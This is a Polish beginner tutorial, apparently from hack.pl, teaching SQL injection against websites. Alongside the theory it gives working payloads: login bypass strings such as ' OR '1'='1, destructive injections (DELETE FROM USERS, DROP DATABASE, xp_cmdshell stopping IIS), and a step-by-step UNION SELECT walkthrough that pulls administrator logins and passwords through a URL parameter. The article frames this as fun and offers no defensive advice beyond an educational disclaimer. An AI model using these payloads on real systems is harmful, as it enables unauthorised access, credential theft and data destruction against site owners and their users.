SQL Injection – Podstawy

Witam. W tym artykule chciałbym wam przedstawić podstawy chyba najpopularniejszego ataku na strony WWW, czyli SQL Injection. Zanim zabierzemy się do zabawy, najpierw trochę teorii.

SQL Injection (ang. „wstrzyknięcie” SQL) – atak polegający na wykorzystaniu luki w języku SQL. Dzięki niewłaściwemu filtrowaniu lub przez brak doświadczenia administratora, atakujący może uzyskać dosłownie wszystko. Od treści pisanych na stronie, przez dane personalne użytkowników, po hasła i loginy administratorów i użytkowników.

Blind SQL Injection – tzw. „ślepy” atak. Jest to zaawansowana forma SQL Injection. Nazwa wzięła się od techniki ataku, bowiem, żeby uzyskać jakieś dane, musimy zgadywać. Ten rodzaj ataku nie zwraca błędów, dzięki czemu wiemy że atak jest skuteczny.

Defacing – patrz artykuł „Podstawy XSS”.

Jeżeli mniej więcej wiemy co to jest zacznijmy zabawę. Wyobraźmy sobie stronę o następującym kodzie HTML:

<form method="post" action="login.php">
Login: <input type="text" name="login"><br>
Hasło: <input type="password" name="haslo"><br>
<input type="submit" value="Login"><br>
</form>

Na serwerze kod PHP odpowiadający za logowanie i weryfikowanie hasła będzie wyglądał tak:

SELECT USER_ID FROM USERS WHERE (LOGIN='$login') AND (PASS='$haslo')

Załóżmy że na stronę loguje się administrator więc zmienne $login i $haslo zamieniają się na dane wpisane przez użytkownika. Administrator loguje się loginem: ”admin” i hasłem: „jfp!#EF12Ac” więc nasz kod PHP teraz przedstawia się tak:

SELECT USER_ID FROM USERS WHERE (LOGIN='admin') AND (PASS=’ jfp!#EF12Ac’)

A co będzie jeśli w polu hasła wpiszemy: „ ‘ OR ‘1’=’1 "? Stanie się to:

SELECT USER_ID FROM USERS WHERE (LOGIN='admin') AND (PASS='' OR '1'='1')

Języki programowania nie wiedzą co ma na myśli ten co je układa, lecz kierują się zasadami logiki i matematyki. Jak wiemy zawsze 1 jest równe 1. Więc możemy wtedy uzyskać dostęp do strony bez wykradania hasła. Te zapytanie składa się z sumy logicznej dwóch warunków: pierwszego który jest fałszywy (no chyba że administrator nie ma założonego hasła, co jest mało prawdopodobne), i drugiego który jest zawsze prawdziwy. Zapytania można dowolnie modyfikować. Przykład:

W polu loginu wpiszmy: „admin’ )—", a otrzymamy:

SELECT USER_ID FROM USERS WHERE (LOGIN='admin') --') AND (PASS='a')

W języku SQL dwa myślniki oznaczają komentarz, czyli część kodu, która zwykle służy administratorowi w odnalezieniu się w poszczególnych częściach kodu. Jeżeli administrator nie ma umiejętności możemy wykonać wiele kodów taką łatwą sztuczką. Oto kilka przykładów:

') DELETE FROM USERS --
') DROP DATABASE HASLO --
'); exec master..xp_cmdshell 'iisreset /stop' --

To były ataki uzyskania dostępu za pomocą pola logowania, lecz są bardziej efektywniejsze i najczęściej spotykane ataki. A mianowicie ataki na pole adresu. Wpisując odpowiednie instrukcje SQL możemy uzyskać wszystko z podatnej strony. Zobaczmy jak.
Wchodzimy sobie na stronę, której adres wygląda mniej więcej tak:

http://www.stronapodatna.com/?id=65

„?id=” jest to zmienna odpowiadająca zwykle za poszczególne artykuły, newsy itp. Żeby zobaczyć czy strona jest podatna na atak SQL Injection wpiszmy zamiast 65, -1 lub sam apostrof (‘). Czyli adres powinien wyglądać tak:

http://www.stronapodatna.com/?id=-1

Jeżeli na stronie pojawi się jeden z błędów, to strona jest podatna na atak. Powinny pojawić się takie błędy:

Warning: mysql_fetch_array, Warning: mysql_fetch_row, Warning: mysql_fetch_assoc

Oczywiście nie musi to być koniecznie ?id= bądź liczba -1. Liczbę możemy wstawić dowolną, lecz na minusie, a zmienne wiele stron wprowadza inne. Lecz sam fakt podatności strony nie satysfakcjonuje nas zbytnio. Musimy teraz sprawdzić ilość kolumn. A więc wklepujemy następujący kod:

http://www.stronapodatna.com/?id= 65 union select 1/*

Liczba 1 po słowie select oznacza liczbę kolumn. Strony mają raczej więcej kolumn niż 1 więc zostanie nam zwrócony błąd, a jeśli jest błąd to próbujemy dalej. Wpisujemy 1,2 potem 1,2,3 i tak dalej, aż nie pokaże nam się żaden błąd, i wyświetli się nam jakaś liczba na stronie. Przypuśćmy że liczba kolumn na stornie, czyli liczba po przecinku to 6. Więc szukajmy teraz bazy danych, z których chcemy wyczytać jakieś dane.

http://www.stronapodatna.com/?id= 65 union select 1,2,3,4,5,6 from admins/*

Słowo „admins” oznacza nazwę bazy. Nie zawsze nosi ona nazwę admins. Wiele różnych platform nosi różne nazwy najważniejszych baz danych, wszystko w celu zniweczenia ataków. W tym zapytani powinno nam wypointować (wyświetlić) liczbę. Jeżeli mamy błąd, musimy próbować z innymi nazwami. A jak nie ma błędu to znaczy że mamy bazę danych i wyciągamy hasła.

http://www.stronapodatna.com/?id= 65 union select 1,concat(login,char(58),pass),3,4,5,6 from admins/*

Jak widzicie zniknęła liczba 2. Ponieważ to w niej wpisujemy dane które chcemy wyciągnąć. Słowo concat służy do wpisywania dwóch i więcej zmiennych na raz. Char(58) jest to znak „:” służy tylko i wyłącznie włamywaczowi w celach estetycznych, tj. żeby wiedział gdzie się kończy login a gdzie zaczyna się hasło.

Oczywiście są to podstawy i to tylko szczyt góry lodowej. Są o wiele bardziej skomplikowane i zawiłe metody, które wymagają perfekcyjnego opanowania języka SQL. Życzę miłej zabawy.

Ten artykuł jest pisany tylko i wyłącznie w celach edukacyjnych. Autor i właściciele serwisu hack.pl nie ponoszą odpowiedzialności za wyrządzone krzywdy metodami stosowanymi w naszych artykułach.

Jeżeli macie, drodzy internauci, jakieś pomysły bądź prośby, dotyczące artykułów z działu "Dla początkujących" prosimy o kontakt jakub.luniewski@hack.pl

Realizacja: SIPLEX Studio